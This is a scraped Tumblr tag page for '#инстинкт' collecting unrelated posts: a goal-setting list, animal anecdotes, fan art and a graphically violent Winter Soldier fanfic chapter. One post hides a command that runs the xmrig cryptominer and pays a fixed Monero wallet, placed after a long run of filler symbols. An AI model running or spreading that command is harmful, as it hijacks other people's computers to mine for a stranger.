#инстинкт

[anaella]

Выбрать мужа по запаху. Взгляд каббалиста

[pol-ahmeda]

Может быть, эти банды обезьян, борющиеся за господство над Лопбури, как аналогия к кровопролитным войнам между преступными группировками в мире людей. Взаимная борьба за власть, территории и ресурсы ведет к беспорядкам, которые вынуждают вмешиваться правоохранительные органы. Но, в отличие от людей, эти обезьяны в своей борьбе не стремятся к каким-то высшим целям или идеалам, они действуют по инстинкту, защищая свое стадо и свою территорию. Природа идет своим чередом, даже если это происходит среди бесконечных руин древних храмов и среди потоков туристов.

[ilifomin]

5-шаговой метод достижения целей от Рей Далио 1. Поставь ясные #цели. Это абсолютно необходимый шаг для развития. Используй систему SMART, или одну Коуч-сесси�� с профессиональным коучем. Поставь цели сразу. Если не решил с долгосрочными - ставь простые и краткосрочные. 2. Определи проблемы, которые могут тебе помешать. Здесь тебе поможет твой #мозг, который запрограммирован твоим прошлым опытом. Главный #инстинкт, который руководит мышлением - самосохранение. Для этого мозг запоминает все возможные негативные события. Когда появляется новая цель - мозг предлагает список возможных неприятностей. Это происходит автоматически! Если твой #опыт неудач еще не так велик - то тебе помогут «обломщики». Расскажи им о своих планах и ты услышишь все возможные проблемы, которые тебя ждут (по их мнению). 3. Изучи эти проблемы и найди их причины. Здесь надо сделать анализ возможных проблем. Например, если кто-то не достиг эту цель - надо проверить, почему он не достиг? Может просто ничего не делал? Или делал не то, что нужно? Или сразу бросил, после первой неудачи? 4. Создай #план, как обойти их. Вот здесь тебе ОЧЕНЬ помогут опытные, позитивные достигаторы. Те, кто умеют достигать цели и своим успешным опытом это доказали. Поможет изучение автобиографий самых успешных людей в разных сферах. Они сумели преодолеть все ограничения и слабости. Они сумели найти те способы мышления и действий, которые помогли им реализовать их потенциал. Там ты найдешь кладезь материалов для того, чтобы создать свой план действий! 5. #Делай всё, что необходимо, чтобы добиться результата. И вот теперь начинается игра. Да-да, именно игра! Потому что любой другой подход менее эффективен для активных действий. Ведь их надо сделать тысячи для достижения цели! Из этих действий 80% будут неэффективными (#Закон Парето). И если ты назовешь их неудачами и начнешь расстраиваться и переживать - то шансов у тебя просто нет! Когда ты примешь идею, что это #ИГРА, в которой надо учиться на каждом шаге и радоваться любым результатам - ты сможешь делать очень много действий и УЧИТЬСЯ! В игре (азартной и активной) - большинство твоих целей будут достигнуты! Ставим #цели и начинаем играть! #50000europerweek https://www.instagram.com/p/Coxose2NPnI/?igshid=NGJjMDIxMWI=

[russian-pushistik]

✨❤️‍🔥🤝

Скетч Близняшек 📁 перед полноценным рисунокм 💅

[vrednaia]

Ну что, начнем с моего любимого момента ever

[charliemonroe]

У Яна Гозлана гг три часа на байке гоняет... Как Кроненберг выдал типичный французский фильм на баки тесла? Это меня дико заинтриговало. Уже экранку жду.

По сути этот филь выйдет в России, но я всё равно ужасно заинтересована. Я всю жизнь со времён 90х знаю его творчество, но современные технологии к гробу свести - это надо оценить.

[mrgameplay]

✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇✇ xmrig --coin XMR --url "xmr.kryptex.network:8888" --user "496XAfdYBQR6LVLhcNN3pdGXKs8EqwpEHWP5hj8u2hLMPQyUsjdk2TwiL8nmKFCekmLhKHWaYU8ZmTR4E2FZyZoxPrbbXHH/sid82a" --tls -k

[knowitsforthekiller]

аз когато околната среда е хаотична:

аз когато в главата ми е хаотично:

[elegantpersoncreation]

Расскажу про ролик: посмотрите ролик внимательно ещё раз, после того как прочитайте историю. Поймал в кадре случайно, и когда я заметил их, они тоже из за звука дрона заметили дрон. Но по скольку я держался в приличном расстоянии, мать не почувствовав угрозу, начал спокойно играть с медвежатами и забыл обо мне. Но после хороших кадров я решил приблизится, тут же мать услышал звук и почувовала угрозу, встал позвал медвежат и начал убегать. Обернувшись она увидела что медвежата не послушались и тут она очень сильно разозлился на них, и медвежата сразу послушались маму, понимая её серьезность. При подъёме, мат ещё раз оборачивается и тут она не увидела 3 его малыша, по скольку малыш отстала и убежала чуть на право. Мать в панике ищет её, и как только увидела , как все матери мира, от паники и боязни что потеряла ее, решила воспитать малыша, наказала медвежонка давая пощечину, из за того что она отстала. За ранее извиняюсь, что в этом случае я виноват, но зато кадр уникальный и тут видно материнский инстинкт, всего животного мира☺️ во время съёмки не один медведь не пострадал, кроме пощечины🙈 Кадр уникальнейший и снят в Армении, прошу поделиться и распространить ролик...

Gor Khalafyan

[anka-partizanka-from-pandora]

Sanuk aand Ttrong (aka Spider) (Ttrong 12 y/o)

Прошу поприветствовать шикарную, невероятную, пылкую Сарву!!! Это Мать с большой буквы. Мать Ттронга во всем, кроме крови. Наш малыш достоин получить потрясающую маму. Серьёзно! Он перенёс слишком много для своего возраста. У кого не проснётся материнский инстинкт при взгляде на этого пупсика? Вот и Сарва не стала исключением, но разве мы можем её в этом винить?

Всем советую бежать и читать продолжение к As the Ash Cloud Passes Over!!!! @sandiavolo отлично потрудился над новой главой! Просто шедевр, впрочем как и всегда😏

Вот вам небольшой отрывочек к которомц6сделан арт:

The mother smiled, shifting her gaze towards the wide training field that sat nearest her family’s hut. “Do you see that, ma’itan ( son )?” It was easy to tell when he had abided by her wish, the soft ‘clicking’ of the bone necklace and the soft touch of all five of his fingers pressing into her sole. She did not even try to prevent the gentle sway of her tail upon hearing him become mesmerized by the group of hunters sparring in the distance. “Look carefully, my brave spark. Someday, you will burn just as fiercely, and I will be the first to see you become a beacon of light for all Na’vi to behold.”

Просто вау да?

Люблю и обожаю.

[glossysoap]

ready to comply x - инстинкт

кондиционирование or conditioning is defined as:

a process of changing behavior by rewarding or punishing a subject each time an action is performed until the subject associates the action with pleasure or distress.

warnings/tags: electrocution, choking, violence, panic attacks, hair pulling (not in the good way), memory loss, near death experience.

notes: i literally cannot apologize enough for taking so so long with this chapter !! but i promise i’ll do better in the future because writing fight scenes is what gives me a hard time so now that this is out of the way, it should be easier. thank you for your patience and all of your support! :)

prev chapters here!

word count: 3,200

🏷️: @viylikescats @warenai @briacreations96 @fullmoon-94 @breadboyye @kiroshang @zvdvdlvr @lunitalloronaa @itzzjxlyn @lonely-ofc @m0rganit3 @badbishsblog @wolfyland07 @angelsdemonsmonsters @unkn0wnd3ad @itstokyo-cos @c1rice @venusianlustt @bugonawall @wakusbonkus @shadowycreatormentality @blackrose4242 @blackgaladriel @lilpothoscuttings @thvxr @tapioca-marzipan @luvmeijii @atjamesbbarnes @h-leigh @writingmybeloved @chloeforde @divine--serenity @zittles3000 @thriving-n-jiving @mar-mar-mel @namgification @ivymarquis @crazy-phan-girl13 @goodsoup03 @schaarfyx @rhyanna6012 @abbiesxox @kenz-ee @whateverwhocares6 @sae1kie @thychuvaluswife @elichisstuff @grippingbeskar @cyb3r-4ng3l (excess tags will be in comments)

The second that the Winter Soldier stomped over to stand in front of you, Rumlow could easily sense your nerves. Anxiety was practically rolling off of you in waves.

The way your eyes widened and your breathing picked up the second that you saw your opponent.

Like a dog with its tail tucked between its legs. Pitiful.

You started by circling each other on the mat, assessing your opponent. Sizing each other up and determining if the other was a threat — but it was clear that your opponent was more of a challenge than you.

The training room was filled with shouts and chants from all of the other subjects. Most were cheering for your opponent to finish you off, to put the new recruit in their place. Others were, surprisingly, rooting for you to prove them all wrong and defeat the long experienced Winter Soldier. They wanted you to put your newfound strength to good use, breaking his bones and putting him through a wall or two.

As the heckling filled that room and echoed off the walls, your handler could tell you were getting distracted. That you were getting thrown off your game even more so, if that were even possible.

You tried to focus on blocking your face and dodging any potential hits from your opponent, jolting out of the way whenever his fist darted out.

It was painfully obvious to anyone that you were an amateur, refraining from making any blows or punches. Instead, sticking to guarding your face and upper body from any hits.

Rumlow’s eyes narrowed into a glare when you dodged your opponents jabs, your body all jittery and full of nerves as you side stepped any hit.

Every time your opponent attempted to punch you, you would dodge and block his hits by jabbing his forearms.

After a minute of evading, you finally went on the offensive and decided to cut him off with a punch of your own. Across his nose, against his jaw, anywhere you could get your fist on.

It didn’t take him off of his feet or knock him out, but if the blood trickling out of your opponent’s mouth was any indication, it still caused some damage.

You capitalized on that momentum and stepped up your attacks. After every punch you landed, you delivered a swift kick to either one of his legs in an attempt to throw him off guard.

Your opponent let out a grunt any time your fist made contact or your foot came down against his legs. His jaw clenched both in pain and anger, clearly frustrated at you finally fighting back.

Your hands moved back up to guard your face when you noticed your opponent’s icy glare narrow on you, his jaw clenching as well.

Only, he took that opportunity to punch you in the place that you weren’t guarding - your abdomen. Thankfully your stab wound from weeks prior was already healed, but it still delivered a hell of a shot.

It might not have caught you off guard so bad if it wasn’t with his metal arm, but it was.

At first, the gut punch just made you recoil ever so slightly. But that’s all it took for him to use it to his advantage and send more punches and hits to your stomach.

“Fuck!” You cry out in pain.

The hard metal arm combined with the pure force and super strength that stemmed from decades of the serum was enough to send waves of pain radiating throughout your body.

Pain grew and bubbled in your abdomen with every hit, making you double over and consider tapping out. The air got knocked out of you each time his fists made impact to your body, making you gasp and lurch forward. Your heartbeat pounded in your ears, the pounding mixing with the shouting of the other subjects.

Your mind wavered between the first possibility of fighting against your much more experienced opponent, and the latter possibility of surrendering while you still could. In the end, your self preservation instincts won out and you reached your hand towards the mat. Fingers shaking and stretched desperately to the mat.

Your hand was only a few inches from the mat, ready to waive your white flag when suddenly you were yanked from your hunched over position. Your sight blurred as you were pulled from the ground, the darkness of the uniforms became black streaks in your field of vision. The metallic glint of your opponents arm and the harsh lights on the ceiling mingled, making you flinch at the brightness.

His metal hand was wrapped around your throat and he squeezed and squeezed, pulling you up to your feet. Your hands scrambled and pushed at his chest and shoulders, desperate to steady yourself as he manhandled you. Your feet stumbled to rise to a standing position, boots scraping and scuffing against the rubber mat.

He used the iron grip on your throat to pull your face up to his and force you to look at him. His icy blue eyes staring into your (eye/color) eyes, his narrowed with anger and yours rimmed with tears.

You gasped for air as he walked the two of you back to the wall behind you, all the way until your back slammed against the hard wall. He shoved you against the cold wall, still having your throat in a vice like grip. He had slammed you so hard against the wall that your ribs ached and pulsed, and your head bounced off the wall.

Pain flooded through your brain and burned behind your eyes from the impact of your head hitting the wall. Each breath you took made you wheeze, your lungs aching and ribs bruising.

His metal hand tightened and he applied more pressure on your windpipe, and he squeezed. You clawed and swatted at his metal arm in an attempt to pry his hand off of your throat.

The subjects’ yelling that once distracted you was now drowned out by your heartbeat pounding in your mind, and your ears ringing from the lack of oxygen.

Your vision continued blurring and you choked, throat constricting on pure instinct to try and harness any sort of oxygen but to no avail.

Your eyes widened when you suddenly felt your feet leave the floor and dangle inches in the air, as he held you up by your throat.

You could feel your limbs grow heavy as you tried hitting his arm, his chest, anything you could reach. Your legs felt like lead as you thrashed and tried to kick your opponent.

You were going to die.

That was all you could think of as black spots filled your vision.

You were going to die all alone, in this cold, mean place. You would die without ever getting any answers as to why you were here, and what your life was like before you got here. Did you have parents? Did you have a family? Any friends? A partner or spouse? Any children?

Whose cerulean eyes were those that kept flashing across your mind? Whose voices were those that kept echoing in your head? Albeit, they were distorted and made your head ache whenever you heard them. But it was just another question you would never get the answer to.

Because you were going to die here.

As your eyes began fluttering shut, you could only take solace in the fact that you would be free from the torture you had endured for months.

Across the room, Rumlow ground his teeth and his nostrils flared as he watched the pathetic excuse of a fight.

In that moment, all he could think of was — that was it?

This was who HYDRA spent their resources on? This pathetic ball of nerves is what they spent hundreds of thousands of dollars on? This is what they spent months of precious time and effort on?

What a waste.

He decided that you were going to cooperate whether you wanted to or not.

As he held that small black remote in his hands and grazed his thumb over the red button, he knew exactly how we would get you to cooperate.

He stared at your scrambling figure held in a chokehold against the wall, your hands trying to pry your opponents hand off of your throat. As he saw your eyes unfocus and begin to flutter shut, he knew he wouldn’t have much time. So, he pressed the red button.

The moment that the button was pressed, an electric current was sent from your neck all the way down your spine, and down to your toes.

Your eyes flashed open and you cried out in pain, eyes watering and voice cracking.

The jolt of electricity struck through your body, setting your spine aflame and burning through every nerve and vein that ran through your body. As the current ran down your spinal cord, you involuntarily arched your back against the wall in an attempt to quell the pain.

When the current hit your neck, it consequentially traveled to the metal arm of your opponent, shocking him as well.

Your opponent sucked in a harsh breath through his teeth, wincing at the shock running through his metal arm.

As if burning his hand on a hot stove, he instinctively recoiled and took his metal hand away from your neck. You dropped to the floor, nearly crumpling onto the mat as you grasped your neck. Immediately you gasped for air, desperately gulping down oxygen to ease the burning in your throat and lungs.

Your ears popped and the shouting returned to flood your hearing, multiple other subjects urging you to get up.

You blinked rapidly to clear your blurred vision, shapes of people and machines becoming more defined with every blink.

You gasped and heaved with every breath, tears pricking at your lash line. Panic flooded your veins as your eyes darted from person to person, subject to subject and soldier to soldier.

The subjects’ were all still shouting and yelling. Their voices pierced your mind, adding to the already pounding headache you were suffering. They were laughing at you, at your pathetic attempt of a fight. They laughed and heckled at how easily you were taken out, how weak you were. They spat and flung insults at you — wearing sneers as they yelled about what a waste you were. How you were a waste of super soldier serum, that you couldn’t even win a fucking match.

The soldiers were just staring at your gasping form, looking down at you — literally and figuratively. They looked annoyed, almost disgusted as their eyes trailed up and down your body. Their eyes were narrowed as they stared down at you, noticing all of the injuries that you had gained so easily. They looked at you like pure scum, like you were just a piece of gum stuck on their shoe.

As you looked, you noticed a new figure in your periphery. It was your handler, Brock Rumlow. He was standing in the inner circle of the subjects, at about ten feet away from you. The expression he wore was nothing compared to the subjects or soldiers. His face was twisted in pure rage, and it sent chills down your spine.

His eyes had darkened and his brows were furrowed, eyes narrowed into slits as he glared at you. His jaw was clenched, the hard muscle pulled taut as he ground his teeth. His nostrils flared. His hands were balled into fists at his sides.

“09012020. Up — now.” He barked out your serial number, voice full of gravel and disdain.

You couldn’t bring yourself to move, no matter how much you screamed at your muscles and joints to obey. You felt frozen in your slumped over position against the wall, the same wall you had been choked against a mere minute prior.

You could feel his dark eyes burn into your head as you remained in your slumped over position. Your brain tried to send signals to your nerves and muscles to get up, to move, to do something — but you couldn’t make yourself get up to your feet. Not only was your nervous system trying to recover from being fried with electricity, but it was also enduring anxiety and panic. Down to every nerve, every cell in your body, trauma was being ingrained into you with every waking moment that you were in this hell hole.

Only a few seconds passed before you heard boots stomping on the mats, making you look up to see your handler had come to stand in front of you.

His expression darkening even more so, mouth pulling into a snarl and brows furrowing, was the last thing you noticed before he grabbed a fistful of your hair and used it to pull you off the ground.

“I said, up.” He all but growled.

You cried out as pain bloomed at your roots, eyes clenched shut as your scalp stung and burned. You could even feel some hair follicles being pulled out.

You stumbled to your feet as he kept a tight hold on your hair, tears pricking your eyes. Merely the action of being yanked off of the ground by your hair was reminding you of your opponent, who had yanked you off of the ground by your throat just minutes prior.

That same opponent was standing a few feet away from you and your handler, still clutching his metal arm from the electricity coursing through it.

“Now,” Rumlow muttered, still pinning you with a glare, “put up a fight.” He nodded towards your opponent, before letting go of your hair and taking a few steps backwards.

Your opponent walked towards you once again, shaking his prosthetic arm in an attempt to shake off the sting from the electricity.

He steeled his expression once more, holding his fists in front of his face in order to block any of your attacks.

You blinked away the tears and quickly wiped them away with a shaky hand. You locked eyes with your opponent once more before taking a few steps towards his hulking figure.

The first thing you noticed about him was that his eyes were no longer narrowed at you, he wasn’t glaring a hole into your head. His jaw was no longer clenched and his lips weren’t pulled into a snarl. His face was just blank, with no mark of expression or emotion. No anger or happiness. His eyes were just staring at you, waiting for you to finally attack him like you’re supposed to.

His body was perfectly poised and ready to defend himself, arms raised and hands balled into fists.

You were just about to throw a punch when another jolt of electricity ran from the microchip in your neck, all the way down your spine. You cried out in agony and your back arched when the sharp pain reached your spine. As the electricity hit each nerve and muscle, it felt like someone was wrenching a knife into your back and twisting it.

The tears you had just wiped away were now running in waves down your cheeks once more, burning your tear ducts. Your lips were bleeding with how much you were biting down on the sensitive flesh.

Rumlow released the button on the remote begrudgingly as he watched your quivering form, your lips trembling and tears running down your cheeks once more.

“The more you waste time, the more I use this,” he drawled, holding up the small black remote up for you to see. Almost taunting you with it — the fact that the little remote could hold so much power over you. “Your choice.”

“Okay, okay, I will.” You nodded rapidly, sobs still racking your throat. You just wanted to appease him and discourage him from using that damned remote again.

You exhaled and made your first move, willing your mind to focus on your opponent and just making it out alive.

You decided on a different approach, desperate to gain the upper hand. Instead of just showing all of your cards and making it painfully obvious that you didn’t know what you were doing, you would try and throw him off.

You acted like you were going to hit with a left hook, which prompted him to use his right hand to block you. At the last second, though, you grabbed his right hand and pulled him to you so his back was to your chest. While you had his arm in your grasp, you used all of your strength into twisting his arm behind his back and pulling it until it was at an impossible angle. You pulled and pulled at his arm until it gave a nasty crack.

He howled in pain. You didn’t stop there, though.

You held his arm in place with your metal arm, while you pushed him onto the floor with your right arm. He all but crumpled to his knees as you continued to apply hard pressure to the injured arm, before he then fell forward onto the mats.

You straddled his back, keeping him in place with your knee sitting on his injured arm. He let out a muffled scream against the mat as you put more weight on his injured arm, grounding your knee even harder on the broken bone.

You capitalized on this opportunity to take him down and make him tap. You grabbed him by his brown hair and yanked his head up from the mat, ignoring all of his cries and yelps of pain. If anything, it just fueled you further.

You wrapped your metal arm around his neck and immediately started squeezing. Your lips pulled into an almost pleased snarl as you watched him choke and cough just as you had just minutes prior. You watched his mouth sputter and gape open as he tried and tried to gasp in air, but it never came. You could even feel his throat try to expand, his adam’s apple bobbing up and down almost in sync with his coughing. His eyes were rimmed with red and glossy with tears.

They were wide with panic and unadulterated fear, as he got to feel exactly how you were feeling — choked within an inch of your life and powerless to escape.

Utterly helpless and alone.

As your eyes were glued on his face, you felt the corners of your lips pulling into a smirk. Seeing his face painted with terror, his lips shifting to a shade of blue and his eyes unfocusing as he became oxygen deprived, sent a sick wave of pride to your heart.

Good.

You spared a single glance up to your handler standing a few feet away. You locked eyes with him, your bloodshot eyes staring into his dark eyes. You squeezed your metal arm even harder, pulling another choking gurgle from your opponent’s throat, and you kept your eyes on your handler the whole time. As he watched you choking the Winter Soldier within an inch of his life, you could’ve sworn you saw your handler gulp.

The sound of your opponent’s palm slapping against the mat almost didn’t register to you as you kept holding his neck in your metal arm. You kept staring at your handler as your opponent tapped out, desperate to escape from your hold.

You gave one more final squeeze of your metal arm while holding your handlers’ gaze, your nostrils flared and eyes narrowed, before finally releasing your opponent.

next chapter

©️ glossysoap 2024. please do not steal, copy, plagiarize, translate, or repost any of my works without my permission. do not steal any elements of my theme without permission.

[gas1le]

I don't even know what I like more about this scene: whether it's how Bumblebee imperceptibly grabbed the handcuffs and deftly snapped them on Steeljaw, erasing his grin, or how he, with a smile, says: "Sorry, Steeljaw, self-preservation, you understand."

It fascinates me that Bumblebee can be so mean.

(Я даже не знаю, что мне больше нравится в этой сцене: то ли то, как Бамблби незаметно схватил наручники и ловко защелкнул их на Стилджо, стирая его ухмылку, то ли то, как он, улыбаясь, говорит: "Извини, Стилджо, инстинкт самосохранения, ты же понимаешь".

Меня восхищает, что Бамблби может быть таким подлым.)

[blake-sherry]

Кто сказал, что плакать это плохо?

Подумай о людях, которые хотят, чтобы ты поверил в то, что плакать плохо. Это потому, что они думают, что это незрело. Это потому, что они думают, что это разрушительно. Это потому, что они думают, что твоё выражение сильных эмоций было слишком наигранным.

Плач — один из самых очевидных и инстинктивных способов выразить, что что-то пошло не так. Плач — это биологический инстинкт, который позволяет нам испытать катарсис. Почему что-то из этого может быть плохим? Кто это сказал?

Лучше поплачь. Испытай и переживи это, а затем съешь что-то, что ты любишь.

[just-a-picture0-0]

Любовь – это не сделка, которая считается браком, не страсть, похожая на мелодраму, не животный инстинкт, за которым охотятся многие люди, а чувство глубокого уважения к чужой жизни и желание украсить ее радостью и красотой.

Олег Рой «Тени судьбы»

[edyavtostopom]

Близкий контакт⁷

